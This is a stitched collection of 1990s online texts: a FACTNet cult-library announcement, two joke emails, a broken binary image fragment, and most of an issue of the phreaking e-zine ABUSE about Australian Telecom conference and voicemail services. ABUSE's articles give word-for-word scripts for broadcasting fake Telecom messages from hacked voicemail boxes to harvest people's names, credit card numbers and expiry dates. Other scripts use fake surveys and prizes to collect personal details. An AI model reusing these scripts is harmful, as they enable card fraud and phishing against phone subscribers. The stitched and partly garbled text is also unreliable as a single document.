Nov 94 11:52:00 UTC +From: saladin@genie.geis.com +To: alt-conspiracy@cs.utexas.edu +Cc: net_scandal@io.org, snet-l@world.std.com +Subject: Cult supplies "cult" data + +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +==== ELECTRONIC LIBRARY ON CULTS AND COERCIVE MIND CONTROL ===== += An Anti-Defamation League/Cult Awareness Network Project ? = +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + < REPOSTED FROM INTERNET BY PERMISISION > + +With cult tragedy a regular occurrence in the news, a timely new +nonprofit information service has been created by FACTNet. +F.A.C.T.Net, Inc. (Fight Against Coercive Tactics Network) is a +nonprofit educational organization that has collected the +largest amount of computerized material on cults and coercive +mind control in the world. This information is made it available +to the public through its computer bulletin board (BBS) and +various Internet services. + +FACTNet was designed to provide service via computer 24 hours a +day, seven days a week, to cult or mind control victims or their +families. This library also serves mental health professionals +and clergy, attorneys and government agencies, civil and +criminal investigators, journalists and educators, and victims' +rights advocates and other anti-abuse organizations. + +Through its world wide resource network, FACTNet can connect an +individual to important and hard to obtain information on almost +any type of business, religious, or political cult in the +world. FACTNet's library contains journal, magazine, and news +articles, professional studies, reports of personal experiences +of former members, summaries of relevant legal decisions or +government investigations, as well as key reference materials, +resources, and support people or organizations to network to who +may be able to provide more assistance. FACTNet provides +information from many perspectives. The individual decides the +truth. + +Some of the groups we have information about are: + Bible Speaks + Boston Church of Christ (International Churches of Christ) + Children of God (The Family) + Church Universal and Triumphant (CUT) + Dianetics + DA Free John + Eckankar + EST (the Forum) + Hare Krishna + Healthy, Happy, Holy (3HO) + LaRouche, Lyndon + Lenz, Fredrick (Zen Master Rama) + Lifespring + Neo Nazi Groups + New Age Movements (Channeling) + Nichiren Soshu of America (NSA) + Occult/Satanic + Psychotherapy Cults + Rajneesh + Scientology + TM (Transcendental Meditation) + Unification Church (Moonies) + The Way International + The Worldwide Church of God + +FACTNet's BBS also provides e-mail, special electronic +conferences and electronic database research assistance, as well +as other Internet and computer services to support anyone who is +interested in researching cults, their activities, and coercive +mind control. + +You can obtain library documents by calling FACTNet's electronic +library direct at 1-303-530-1942. Follow the instructions on +the screen to obtain your electronic library card. This system uses +PCBoard 15.1 BBS software and runs on a Pentium 90 with 16 Mb of +RAM and 1.7 gigabytes of disk storage. We presently have five +incoming lines with 28,800 baud modems. Call with your communication +software set to your fastest baud rate and 8-N-1. No contribution +is required for the first three hours of use. + +Our internet mail address is factnet@rmii.com. If you have access +to the World Wide Web on the internet, the address of our web home +page is http://www.acmeweb.com/factnet. The web provides the most +convenient access to our information, catalog, and services +directory. + +If someone you know needs this information but doesn't have a +computer and modem, have them write for our library catalog +index and our list of mail, fax, and other administrative +services at FACTNet, Inc., 601 16th. St. C-217, Golden, Co. +80401, USA, voice phone 1-303-473-0111, fax 1-303-530-2950. + +F.A.C.T.Net's mission is to provide a global electronic +clearinghouse for private study, scholarship, and research on +cults and the advancements and use of coercive mind control, and +to promote human rights and justice through education and open +dialog on these subjects. + +Our organization is new to the Internet community. We are not yet +familiar with all the locations where we should post this notice. +Please feel free to help us by forwarding, uploading, or copying +this information to any BBS, traditional news or media organization, +Internet newsgroup or mailing list, or any other group or individual +anywhere in the world that you feel would benefit from knowing +about our organization's information, resources, and services. + +:::::::::::::::::::::::::::::::::::::::::::::::: +::: saladin@genie.geis.com ::: +:::::::::::::::::::::::::::::::::::::::::::::::: + +M200;2 + +___________________________________________________________ +>From Nicolas.Severyns@rug.ac.beFri Nov 11 16:41:58 1994 +Date: Thu, 10 Nov 1994 16:09:22 +0100 (MET) +From: Nicolas Severyns +To: blah +Subject: Re: strangeness + +Of course we can. I'm seeing John Zorn perform this evening. Here' some +text we're giving to him this evening. + +we the people from the people's +republic of Anus Mundi we +we Anus Mundi the loony people +the freaky peoples of we + +you John Zorn grand wizard + of the aerobic music you +your music John from Zorn +wizard supreme of aerobic your + +now humbly we crawltail +for your cybervibes to emerge now +hymn emerge! humbly shall we +for singing your to hymn + +to be materialized by Anus mundi's +legions of shit revolution II +outerspace revolution be shortly + materialized +Anus mundi's holy legions shit outerspace + +compose conceive construct the +republic's hymn +honourable citizen Zorn compose +horn zorn conceive norn construct + the republic's very hymn citizen horn + +we salutye from newland docks and +billie the holebear we +ho! holebear salute soon! +from docks dicks and the ho! +___________________________________________ + + +>From eap@gas.uug.arizona.eduSun Nov 13 01:16:23 1994 +Date: Sat, 12 Nov 1994 17:59:58 -0700 (MST) +From: elizabeth +To: blah +Subject: Re: The Robotussin (DM) Alien Manifesto (fwd) + +sam is ovbiously on to the massive government conspiracy surrounding the +alien takeover of our major pharmaceutical manufacturing companies. +however, his remarks betray the same sort of anti-alien mindset that you +are attempting to educate the public against. brainwashing such as this +must be stopped if our society is ever to fully interact with our +extraterrestrial brothers and sisters in a meaningful way, including +commodities trading and the intermarriage of our species in order to +produce the next race of telepathic super beings. i hope that your brave +cause to educate the people of this planet is successful, and that you +are not dissuaded by the secret and lethal security agency contract on +your life and the lives of all your commrades, alien and human alike. + +---------------- +eap@gas.uug.arizona.edu +"Rigor mortis doesn't last forever." + + + + + +Here's the special picture for this issue. +enjoy. + + +begin 644 CB.GIF +M1TE&.#EA:@'* ?< @ , "! ! " P("P %1, $!@ "" ""00 +M#P(((" ("A@ 0*"@(" (*"@(&R@($ 88, 0, @0+@@(*SH "#,(" +M(D( $#,(&C(($ <8. <@0D !X:$4 ( P@80#@0$1 =0$02!P<0.4@ $@( +M $@ "$@($$ 1$$@(" @825 % ( % -% $% "!\3,48F&T46'$@5$% ( +M"% 8$% ($%@ %@( %@ $%@ "! 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Through the pages of +ABUSE we hope to keep you informed of any topics of interest connected with +hacking & phreaking in general. + + We apologize for the lack of size of this issue, but this is only because +just 3 guys have worked on the magazine over a period of a few weeks. We are +hoping for a good response to our request for more contributors, both overseas +and in Australia. If you're interested in helping out in any way, either with a +permanent position on the team, the odd article, or just a one-off contribution, +please don't hesitate to contact either myself or Voltage. + + Now sit back and relax, and enjoy the first issue of ABUSE. Later. +-------------------------------------------------------------------------------- + + EVERYTHING YOU WANTED TO KNOW ABOUT TELECOM CONFERLINK + ====================================================== + + WHAT IS TELECOM CONFERLINK? + + Telecom Conferlink is the most flexible means of linking people located in +Australia and overseas for a meeting, by using the latest technology in +auto-teleconferencing. A conferlink meeting could include partcipants from +across the street or across the world. + + This unique personalised service provides new features which benefit people +in all types of business. + + + HOW TELECOM CONFERLINK CAN HELP YOU. + + These days no one can afford to make slow decisions. Time and money spent +travelling can bring business to a halt - with telecom conferlink you can be +connected almost immediately. + + New technology now allows for any number of locations to be connected by +phone simultaneously. It also offers the convenience of meeting people involved +in the decision-making process without having to leave the office. As one +satisfied customer remarked recently, 'We completed a days work in 2 hours.' + + Indeed, the cost savings alone in not having to gather people together in +one place are substantial as intersate and overseas travel add significantly to +the price of doing business. + + The benefits to your organisation by using Telecom Conferlink however are +more than monetary because: + + * Meetings become more effective, leading to a quicker exchange of information + and FASTER DECISION MAKING. + * Reduced travel time by key personnel means INCREASED PRODUCTIVITY. + * More EFFICIENT COMMUNICATION. + * More frequent and regular inter-site communication reduces the risk of + misunderstandings, increased co-operation and improves working + relationships. + * People can be brought together quickly and easily in situations that might + otherwise have been impractical. + * Appropriate people can attend for all or part of a meeting as required, + regardless of location. + * A competitive edge results from a well informed workforce who are + continually updated and/or retrained. + + + WHAT TELECOM CONFERLINK COST. + + * OPERATOR 'DIAL-OUT': + + All operator 'Dial-Out' calls have a set-up fee, however line charges don't +apply until everyone is together and conversing, ie. 'In-conference time'. + + Set-up fee: Charges: + + * National - $3 per link. * Local 8.5c per link per ninute. + * International - $7 per link. * Interstate 35c per link per minute. + * Interstate 65c per link per minute. + * International $2.30 per link per minute. + + + * 'MEET-ME' or 'DIAL-IN': + + The 'MEET-ME' facility enables participants to dial in to the conference. +All 'MEET-ME' calls are charged from 'Connect Time'. + + Charges: + + Customers who meet their own line charges - 35c per link per minute. + Customers who use '008' access - 65c per link per minute. + + + * DISCOUNT: + + A bulk usage discount applies on operator 'DIAL-OUT' line charges between +8am-6pm. + + * 25 line hours per month contract = 5%. + * 50 line hours per month contract = 7.5%. + * 100 line hours per month contract = 10%. + + After hours discount (6pm-8am), Weekdays and public holidays = 10%. + + + * OTHER SERVICES: + + * Participant notification $5.25 per link. + * Tape Recording - $10. + + + * RESERVATION SERVICE: + + Customers can reserve telephone links in advance to ensure availablity, when +exact details of calls are unknown. + + Charges: + + Line Reserve fee, $15.00 per link/per hour is applied for the time link +reserved but not in use. Standard charges for operator 'DIAL-OUT'/'MEET-ME' +apply for actual usage time. + + + WHAT TELECOM CONFERLINK CAN BE USED FOR. + + The uses and applications of Telecom Conferlink are many and varied and will +to some extent be determined by the nature of your business. Some of the more +common applications are: + + * MANAGEMENT AND ADMINISTRATION: + + * Consult regularly with colleagues. + * Negotiate with vendors and discuss budgets. + * Schedule regular reports to management from regions and remote plants. + * Participate in joint venture meetings with other companies. + * Interviewing interstate job applicants. + + * ENGINEERING, MANUFACTURING AND PRODUCTION: + + * Project scheduling and reviews. + * Troubleshoot production problems and equipment malfunctions. + * Discuss blueprints and design documentation. + * Hold inventory control meetings at various sites. + * Testing of systems remotely. + + * SALES AND MARKETING: + + * Conduct presentations and hold regional sales meetings. + * Introduce new products to field sales representatives. + * Discuss new strategies and marketing programmes. + * Market Research and focus group discussions. + * Plan marketing activities. + * Meet with clients on interim or regular issues. + + * TRAINING AND DEVELOPMENT: + + * Provide orientation programmes for new employees. + * Conduct training and refresher courses. + * Hold seminars with guest lectures. + * Screen job applications. + + + WHAT TELECOM CONFERLINK OFFERS YOU. + + Telecom Conferlink offers you two ways to hold your meeting or conference. +These are known as 'Operator Controlled Meet Me.' + + * OPERATOR DIAL OUT: + + This is where the convener provides the operator with the telephone numbers +to be connected. The operator then calls each participant and connects them to +the conference. + + + * OPERATOR CONTROLLED 'MEET ME': + + In this instance participants are provided with a telephone number to ring +at the appointed time. When the operator answers, the person is connected to +their conference. This method is ideal for callers wanting to pay their own +cost. + + Alternatively, the convener can accept the cost by having the participants +ring in on a special 008 number which is available from a Telecom Conferlink +operator. + + In addition to the conferencing mode, Telecom Conferlink also has many new +features, including: + + * MUSIC ON HOLD: + + All participants will be able to listen to music whilst waiting for the +conference to begin. + + * SUB-CONFERENCES: + + Small groups can exit the main conference, talk privately and then rejoin +the main conference. Ten separate conferences can be conducted simultaneously. + + * RECORDING THE MEETING: + + If you wish, the whole conference can be recorded on tape allowing you to +provide a transcript or minutes of your meeting. + + * LOCKED CONFERENCE: + + You can secure your conference from anyone else entering by pressing the '*' +key on your tone phone. + + * OPERATOR RECALL: + + Participants can recall the operator (Press the 0 key on tone phone) who can +then add extra people to the conference. + + * LISTEN ONLY: + + One or more participants can be connected to listen only mode so they can +hear but not speak. If requested the operator can change the connection to +include speech. + + + HOW TO USE TELECOM CONFERLINK. + + To use Telecom Conferlink all you do is simply phone the Conferlink operator +on 008 011 441 (Free Call) and give the names, telephone numbers, and date and +time of your meeting. If required the operator will also notify the people +involved prior to the meeting. Conference calls can be arranged almost +immediately depending on the number involved. + + To get the best out of your meeting, however, the following should be used +as a checklist: + + * BEFORE THE MEETING: + + * Notify the participants of the time and date. + * Prepare a detailed agenda. + * Make sure that everyone who needs to be involved is available, a variety of + speakers makes for a more interesting meeting. + * Set a time limit of no more then 25 minutes per speaker. + * Plan to send effective visuals or handouts to each participant prior to the + meeting. + * Send each participant instructions for connecting to the conference (either + having the operator call them at the appropriate time or having them call a + given number). + * Confirm all your arrangements with your Conferlink Operator. + + * DURING THE MEETING: + + * Start on time. + * Conduct a roll call (your Conferlink Operator will do this if required), + make introductions. + * Begin with an agenda review and outline the objectives of the meeting to get + off to a good start. + * Stick to your agenda. + * Ask participants to identify themselves when they speak. + * Assign follow-up on action items as they occur. + * Plan and schedule your next meeting. + * Summarise and adjourn meeting. + + + TELECOM CONFERLINK IN ACTION. + + Peter Eeles, a communications consultant with the AMP Society, has this to +say about Telecom Conferlink: + + 'We find Conferlink conferences a great way of having regular management +meetings because they are also so easy to organise. + + We also use Conferlink to help us with our product launches and for +training. + + On average we have one or two conferences a week lasting about an hour to an +hour and a half - and we can sure cover a lot of ground! + + For an organisation as large and geographically diverse as the AMP, +Conferlink is a much better and faster way of exchanging information quickly and +efficiently. + + Conferlink has certainly increased our productivity'. + + + Telecom Conferlink is used by the Queensland Branch of the Australian +Physiotherapy Association with great success. Here's what their Officer, Edith +McPhee, has to say about Telecom Conferlink: + + 'We use Conferlink primarily for education purposes because it's a great way +of reaching our widespread membership and keeping them up to date on new +methods. I find its best to send written documentation prior to the meeting so +that when the meeting starts we're ready to answer questions and get down to +specifics. + + Our next conference will involve 100 people in 15 locations and it will be +the biggest one we have had to date. We started with smaller meetings but found +them so easy to organise we're having larger meetings now - with the same good +results..'. + +-------------------------------------------------------------------------------- + VOLTAGE: At this present time there is no computerised system available, +it's all operator assisted calls. The number to dial again is 008 011 441. Sorry +to the guys who don't live in Australia as there is no direct number to dial the +operator on, but as soon as I find one I will let you know... + + ACID: I think in a few years CONFERLINK will be rockin' just like ALLIANCE +is in the USA, but not until it's all automated.. + + Text typed up by Voltage. +-------------------------------------------------------------------------------- + + HACKING CREDIT CARDS USING TELECOM VMB'S + ======================================== + +Idea created, developed and enhanced by: + + Acid + Jorrem Almighty + Dirty Snake + +Text file Written By: + Jorrem Almighty + + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +What to do: + +Hack a Telecom VMB (See one of our previous text files on how to hack them.) + +Record a mailing list in an area and send this message (in an official voice): + +Hello, this is a Telecom Australia message to notify you that as of Tomorrow +morning your phone will be disconnected because of an outstanding amount of +$18.30. If you wish to prevent this from occuring please pay your outstanding +amount as soon as possible by going to your local Telecom office tomorrow at +9.00am or preferably, pay by phone by leaving your name, credit card number and +expiry date after the tone. Failure to take one of these options will lead to +disconnection and a substantial bond may be required for reconnection. Thankyou. + + +############# +Or use this one (I haven't used it yet...): + +Hello, this is a Telecom Australia message notifying you that due to financial +difficulties with a number of our clients we now require payment of a $30.00 +bond on all our minor accounts. Payment must be made as soon as possible by +going to your local Telecom office tomorrow at 9.00am or preferably, pay by +phone by leaving your name, credit card number and expiry date after the tone. +Failure to take one of these options will lead to disconnection and a +substantial bond may be required for reconnection. Thankyou. + + +########### +Or if things start getting desperate, record a mailing list in an 'upper' class +and send this message: + +Hello, this is a Telecom Australia message notifying you that, , +due to a computer breakdown your last payment made by credit card was not +processed. Therefore to prevent disconnection of your phone line please state +your name, credit card number and expiry date after the tone. I repeat, please +state your name, credit card number and expiry date after the tone. Thankyou. + + +Have fun! JA +-------------------------------------------------------------------------------- + + ALL ABOUT TELECOM MESSAGEBANK + ============================= + + PRICE LIST: + + Connection/Reconnection Fee $20.00 + + Monthly Rental: + + MessageBank Answering (Level-1) $14.95 + MessageBank Messaging (Level-2) $19.95 + MessageBank Executive (Voice & Fax, Where Available) $50.00 + + + MessageBank Monthly Usage Charges: + + First 30 Minutes Free + 31 Minutes to 120 Minutes 20c Per Min + Time Over 120 Minutes 10c Per Min + + Voice Or Fax Messages Deliverd To + An STD Telephone Destination. 70c Per Min + + International Message Delivery, Including + Overseas Networking To Other Sites. $2.40 Per Min + + + For mobile phone users, standard MobileNet call diversion charges will apply +for calls diverted to MessageBank. Telecom Easycall, Telecom - AnswerNet, and +Telecom Director call diversion rates are separately charged.. + + Usage consists of: + + * Time taken to deposit messages. + * Time spent listening to messages. + * Time spent connected to the mailbox, changing greetings, options, Etc. + * Time required to notify you of messages received. Eg. It takes approx 13 + seconds to alert a Telecom pager of a msg having been received (non-Telecom + pagers can take considerably longer). + + + Service Levels: + + Presently there are three levels of service with our system, however the +third is presently available only in Canberra and Sydney. + + MessageBank Answering (Level-1): + + MessageBank Answering provides an answering-only facilty. The user can +retrieve his/her messages, and after listening, can delete or keep them. The +personal greeting, voice signature and password can all be changed at any time.. + + + MessageBank Answering has the capacity for: + + * A two minute personal greeting; + * 20 two minute messages; + * 7 day new message storage; and + * 3 day saved message storage. + + + ____________________________________ + | | + | Make A Telephone Call To Your | + | MessageBank Number | + | | + | ................................. | + | When The System Answers Press The | + | Star * Button During The Greeting | + |____________________________________| + | + ____________|___________ + | | + | Key In Your Password | + | On Your Handset | + | | + | .................. | + | Then Press Star * | + |________________________| + | + ____________|___________ + | | + ______________| Main Selection |_______ + | |________________________| | + _________|___________ ____|_____ +| | | | +|1 Listen To Messages | ____________| 3 Modify |_______ +|_____________________| | |__________| | + | _____|________ _______|__ + | | | __| | + _________|___________ ____| 2 Forwarding | | | 4 Set Up | +| | | | To Pager | | |__________| +| 4 Keep Messages | | |______________| | | +| For 24 Hours | _____|____ ____|_____ |______ ____|_____ | +| || || || || | | +| 5 Delete Messages ||1 Urgent ||2 All || 3 None||1 Personal| | +| Prompt Heard Only || Messages|| Messages|| || Greeting| | +| If Message Is ||__________||__________||_______||__________| ___| +| Previously Stored | _____|_____________________ | __________| _|_____ +| || | || || | +| 6 Keep Message || 1 Main Pager Number | ||2 Voice ||4 Pass-| +|_____________________|| | || Signature|| Word | + | 2 Alternative Number | ||___________||_______| + | Same As Main Number | __|________|___________ + | At this Level Of Service| | | + | Main & Alternative | | 1 Record Greeting/Name| + | Numbers Are The Same | | | + |___________________________| | 2 Keep Message | + | If You Are Happy | + | With It | + | | + | 3 Delete Message | + |_______________________| + + + SOME GENERAL COMMANDS: + + Only available in listen menu: Available at all times: + + 3 Forward 8 Seconds 8 HELP + 33 Forward To Finish 88 General Introduction + 1 Back 8 Seconds 9 Exit To Main + 11 Back To Beginning 99 Goodbye + Of Message # Cancel Last Command + + + MessageBank Messaging (Level-2): + + MessageBank Messaging has all the facilities of MessageBank Answering plus +the ability to forward messages. Once a message has been left, MessageBank can +alert the user via a pager, or send the message to another person (including +non-users of the system). + + The user has the option of forwarding ALL messages that are received, only +URGENT messages, or no forwarding whatsoever. When forwarding on a normal call +(all calls), MessageBank will call three times or until the message is retrieved +by the user. On urgent calls, MessageBank will outcall five times or until the +message is retrieved. Notifcation is usually to a pager, but can also be to a +telephone number. + + MessageBank Messaging will also send messages to other MessageBank users and +non-subscribers. These messages can be recorded and edited by the user, so that +the message contains exactly what the user wants to say. The message can then be +sent straight away, or can be delivered at a future time and date, depending on +the time that is most suitable for both parties. MessageBank will even send +messages to the user thus being used as an electronic diary. + + Once the user reviews his/her messages, he/she can then reply to that +message, delete, keep, edit or transfer it to another person. + + Another facility that MessageBank Messaging provides is a list facility. +This is useful when contacting the same group of people with the same message +often. For example, a sales manager may place all his/her sales reps on a group +list. When the manager wants to contact the reps, say to notify them of a sales +meeting, or change in price, or even a special deal that is starting, all that +the manager needs to do is to make one call and leave one message, which will +then be delivered to every person on the list. By far the easiest way to contact +all of them at once.. + + MessageBank Messaging has the capacity for: + + * A five minute personal greeting; + * 40 five minute messages; + * 14 day new message storage; + * 8 day saved message storage; and + * 20 group mailing lists of 20 addresses each. + + + ____________________________________ + | | + | Make A Telephone Call To Your | + | MessageBank Number | + | | + | ................................. | + | When The System Answers Press The | + | Star * Button During The Greeting | + |____________________________________| + | + ____________|___________ + | | + | Key In Your Password | + | On Your Handset | + | | + | .................. | + | Then Press Star * | + |________________________| + | + ____________|___________ + | | + ______________| Main Selection | + | |________________________| + _________|___________ _____|____ ______ +| | | | | | +|1 Listen To Messages | | 3 Modify |____________________|2 Send|____ +|_____________________| |__________| |______| | + _____|_______ ____|________ _________________ | + | | | | | | | + |Play Messages| _|1 Alternative|_|Specify Alternate| | + |_____________| | |_____________| | phone numbers | | + _____|_ | |_________________| | + | | | ____________ ________ | + ___|OPTIONS| | | |_ _| | | +| |_______| |_|2 Forwarding| | |1 Urgent|_ _____________ | +| _______ ____________ | |____________| | |________| | |Select Phone | | +| | | | || |_| | | |_____________| | +|___|2 Reply|_|Record Reply|| | |2 All |__\| | | +| |_______| |____________||______ | |________| \|1 Main | | +| __________ _________ ____ | |_| | |_____________| | +| | | | | | || |3 None | | | | +|___|3 Transfer|_|1 Comment|_|Send|| ______ |________| |2 Alternative| | +| |__________| |_________| |____|| | | |_____________| | +| ____|_________ |_|3 List|_ ________ | +| | | | |______| | | | | +| |Record Comment| | |__|1 Modify| | +| |______________| | | |________| | +| ______ | | | | | +| | | | _______ |__|2 Create| | +|___|4 Keep| |_| || |________| _________ | +| |______| |4 SETUP|| | | _| | | +| ________ |_______||__|3 Delete| | |1 Record | | +| | | | |________| | |_________| | +|___|5 Delete| | __________ | | | | +| |________| |_______| | |_|2 Keep | | +| ______ | |1 Personal|_| |_________| | +| | | | | Greeting| | | | | +|___|6 Next| | |__________| |_|3 Delete | | + |______| | ___________ | |_________| | + |_| |__| _| + | |2 Voice | _________|_ + | | Signature| | | + | |___________| |Enter Dest-| + GENERAL COMMANDS: | _____________ |ination No.| + |_| | |___________| + 3 Forward 8 Seconds |4 Password - | _____|____ + 33 Forward To Finish | Change Your| | | + 1 Back 8 Seconds | Password | |Record | + 11 Back To Beginning |_____________| |Messages | + 111 Back To Beginning Of Previous Message |__________| + 4x Loudness Control x = 1-9 _______ _____|____ + 8 Help | | | | + 88 General Introduction |2 Send |_____|1 Edit | + 7 Pause/Resume |_______| |__________| + # Cancel ____|_____ + 9 Exit To Main | | + 99 Goodbye |3 Options |__________ + * End Record Entry |__________| | + _____________ | + | | | + |1 Time - | | + | Specify |_| + _________ | Delivery | | + | | | Time & Date| | + |1 Urgent | |_____________| | + |_________|_ __________ | + | | | | | | + |2 Reply |_|_____|2 Class |_| + |_________| | |__________| | + | |_| | + |3 Delete | | + |_________| | + ____________ | + | | | + |3 Send |____| + | If Options| + | Have Been | + | Chosen | + |____________| + + + MessageBank Executive (Level-3): + + MessageBank Executive is currently available only in Canberra and Sydney, +with Brisbane and Melbourne due later this year. This level will incorporate a +facility, enabling the user to send and receive messages via his/her +MessageBank. + + The user will have a second number, a fax identification number, which gives +the same answer signal as a normal fax machine. The fact that it is a voice +messaging service answering will not be visible to the fax sender. The fax is +then automatically transferred into the voice mail box, where it can be +downloaded at the users most convenient time and place. The user, although +having two numbers, (one fax, one voice) he/she will only ever need to access +one - the voice mail box. + + This is a great feature for confidential faxes, or for the person on the +move. Group faxing will also be possible using the same method as group list. + + Telecom MessageBank is the only Beurea voice mail system in Australia that +can provide an executive service such as a fax voice messaging. + + + SUMMARY OF THE FEATURES AND BENEFITS OF MESSAGEBANK: + + * Australian voice prompts. + * Receive, store or erase messages from any touch of a phone. + * Service available 24 hours a day, 7 days a week. + * Extremely user friendly. + * Hear your callers message in their own voice. + * Be notified of messages immmediately with optional paging service. + * Never again buy or repair equipment (no maintenance required). + * All messages are time and date stamped. + * Call can be diverted (fixed diversion if required). + * Caller can be answered instantly. + * Messages can be accessed at any time from anywhere in the world, thereby + avoiding difficulties involved when communicating between countries with + time differences. + * Callers can change or add to their message before hanging up. + * The user can send one message simultaneously to up to 20 people. + * Never be left in hold eternity. + + Text typed up by Voltage. +-------------------------------------------------------------------------------- + + FUN WITH VOICE MAIL BY VOLTAGE + ============================== + + After hacking all these voice mail boxes, we thought there could be +something else we could use them for, instead of just leaving messages to other +people. So we looked around and found a nice little option called send to a +phone number. What we want to concentrate on here is sending messages to +people's phone numbers. The system that I'm going to talk about is MESSAGEBANK, +I know there are a heap of different systems that can do this as well but we are +just going to stick to a basic system. But before I go on, this is not a text +file on how to use the send command but to tell you how you can have fun with +it. + + Ok let's take it from the start, you first have to find a voice mail for +yourself [Hey! You could buy one off us!]. Once you have your voice mail box, +you have 2 choices on how you want to send a messgae to a phone number. + + 1. Is sending to a number, + or 2. Send to a heap of numbers at once. + + Well I recommend send to a heap of numbers. To send a heap of numbers you +have to create a group list, which is done by doing 3 + 3 + 2 from the main +menu. A group list can contain up to 20 phone numbers, and you can have 20 +different group lists. + + After following instructions on the system on how to add a phone number in +go back to the main menu and press 2 to send a message to a phone number. It +will then ask you for a mail box or telephone number to send the message to. Ok +just presume that your group list is list 1. So what you do now is enter 1 when +you hear the above prompt then press *. It will then say something like 'group +list one... after the tone please record your message then press *'. After +recording your message you now have to choose how you want to send your message, +we recommend that you send reply requested. To do this you press 3 + 2 + 2. This +will mark the message as reply requested, then all you do now is press 3 to send +the message.. There is also a few more options there like send at a future date, +send at a certain time etc. + + Now you basically understand how to send messages out, it's time to have +some fun with it. Let your imagination go wild, you can come up with a lot of +good shit. Here are some examples of stuff what you can do: + + + This one is just used to find out information on people: + + 'Hello this is Mike Thomas from Australian Telecom, we are currently doing a +survey on our equipment and our services. That's why we are going through +Telecom Messaging to reach a lot more callers at 1 time. + +The 1st Question is: Do you own a Telecom Telecard, If so how often do you use + it? +The 2nd Question is: What do you think of the service that we provide? +The 3rd Question is: If you could change anything about our service what would + that be and why? + + Thank you for taking your time to answer these questions. All we need from +you now is your name and telephone number to go in the draw for the Telecom +sweepstakes of $10000 dollars for answering the questions. And remember to leave +your answers and name after the tone. BYE'. + + The above is good for finding out information people eg. like I said do you +own a Telecom telecard. IF they say yes you could ring back and hack all their +shit from them.. The above was set out for Australians only but you can change +things around to suit such things as AT&T, MCI, Sprint Etc.. + + + Do the following for a laugh: + + SAY: + + 'CONGRATULATIONS! Thanks to Holden General Motors And Telecom Australia you +have just won a Holden Executive valued at 22 thousand dollars. The reason for +you winning this fabulous car is that Telecom Australia put together a random +dial program to promote the new Holden Executive 1993 model, and your phone +number was the one phoned up! All we need from you is your name, telephone +number and address to contact you as soon as possible. Oh and one last thing +could you tell us in 25 words or less why you like Holden motor cars. And +remember to speak after the tone..'. + + + The above is a good thing for a laugh as they get all excited, and the funny +thing about it is when they have to say 25 words or less on what they think of +Holden cars.. Overseas people change it to what ever you want, this is just a +basic outline of what to say.. We did it to this person once and when he had to +talk about Holden in 25 words or less he went on for about 2 minutes. So we rang +this guy back by voice this time and said I'm sorry to say this but you didn't +win the car as you went over 25 words. Listen to the shit that comes out from +them. Hehe cool stuff. Later.. + +-------------------------------------------------------------------------------- + + ABUSE WORLD NEWS - DECEMBER/JANUARY 1992/93 + =========================================== + +-------------------------------------------------------------------------------- + 'SEE-FIRST CALL PLAN' - The Daily Telegraph Mirror, Dec. 30, 1992. +-------------------------------------------------------------------------------- + A system where the caller's number flashes up on the receiver's telephone +while it is ringing will be tested next year. + + This lets the person being called see who is calling before answering. + + After the test by Telecom, the tele-communications watchdog Austel will +decide if the service should stay. + + But telephone companies will have to satisfy fears of invasion of privacy +before a final go-ahead. + +-------------------------------------------------------------------------------- + 'SYSTEM TO CUT PHONE COSTS' - The Daily Telegraph Mirror, Dec. 29, 1992. +-------------------------------------------------------------------------------- + A local company has come up with a computer program it says will help any +business cut down its telephone bill. The product is Calldata, developed and +marketed by CSM International of St. Leonards [Sydney]. CSM managing director +Malcolm Monk claims Calldata will be of benefit to any business with a monthly +telephone bill of more than $1000. + + Linked to the company telephone system, Calldata runs in the background mode +on a non-dedicated IBM compatible personal computer, allowing the user to carry +on without interruption. + + Mr Monk says that about 2500 businesses have bought the software. They range +from the Boral group, Comalco and Radio Rentals to the NSW Attorney General's +Department, the Sydney Opera House and various Rugby League clubs, including the +Brisbane Broncos and St. George. + + 'As a management tool Calldata skins the fat from the telephone system,' Mr +Monk said. + + 'It analyses where costs are going and how.' + + One month after installation the data can be collated, transferred to +diskette and returned to CSM, which will provide a free management report with +suggested cost-saving measures. + + 'Just by analysing inward and outward call traffic and identifying greater +efficiencies, telephone costs can be cut by 10 per cent,' Mr Monk said. + + It can also make comparisons of Telecom, Optus and AAP, identifying the most +cost-efficient network to suit individual company needs. + + + Calldata software sells from $995 upward, depending on how it is used and +the size of the business. + + NB: All prices are in Australian dollars. + +-------------------------------------------------------------------------------- + 'OBSCENE PHONE CALL OUTBREAK' - The Daily Telegraph Mirror, Dec. 22, 1992. +-------------------------------------------------------------------------------- + TELECOM is investigating a series of obscene telephone calls in Sydney's +west made by a woman identifying herself as a Telecom official. + + At least a dozen complaints were lodged yesterday over the hoaxes and many +more calls are believed to have gone unreported. + + All complaints came from people living in, or near, Mt Druitt. + + In each case, the victim answered their phone to a recorded message on which +a woman claiming to be from Telecom said she had a Christmas message for them. + + She asked them to wait for a beep at which point the voice of a man shouting +obscenities cut in. + + The woman's voice then came back on the recording, asking the victim to wait +for another beep after which they could leave a message telling Telecom what +they thought of their Christmas 'present'. [JA: hahahaha!] + + Wendy Betts, from Mt Druitt, had just gone to bed at 11.30pm on Sunday when +she received one of the abusive calls. + + 'The woman sounded very official - well spoken and intelligent and quite +elderly - so at first I thought the call was fair dinkum,' she said. + + 'Then the bloke got on and started screaming abuse at me, and all the time +he would stop to say "hello, are you listening?".' + + A Telecom spokesperson said the matter was being lookind into by the +company's investigative branch, Protective Services. + + She said making obscene telephone calls was a criminal offence and that the +perpetrators faced up to 12 months jail or a $6000 fine if caught. + + However she said it was very difficult to trace offensive phone calls when +they were made randomly as they appeared to have been in this case. + +-------------------------------------------------------------------------------- + 'TELECOM WARNS OF CALL CON' - The Daily Telegraph Mirror, Dec. 23, 1992. +-------------------------------------------------------------------------------- + SYDNEY phone subscribers are being asked to provide confidential personal +details about themselves and their credit cards in an elaborate telephone con +discovered by Telecom. + + In warning about the con, Telecom investigators yesterday urged anyone who +may have fallen for it to contact his or her bank. + + Telecom spokesperson Margaret Finch said the con is believed to have been +operating in Sydney for only a couple of days, but so far no-one appears to have +fallen for it. + + 'We have received complaints from 15 people; there could well be more,' Ms +Finch said. + + The con involves a woman's voice in a recorded message played down a +victim's telephone line in late night calls, she said. + + Victims appeared to be selected at random. + + The caller tells the victim that due to a computer malfunction their +previous Telecom repayment was not recorded. + + 'They are asked to give details about themselves and their credit cards and +the previous bill 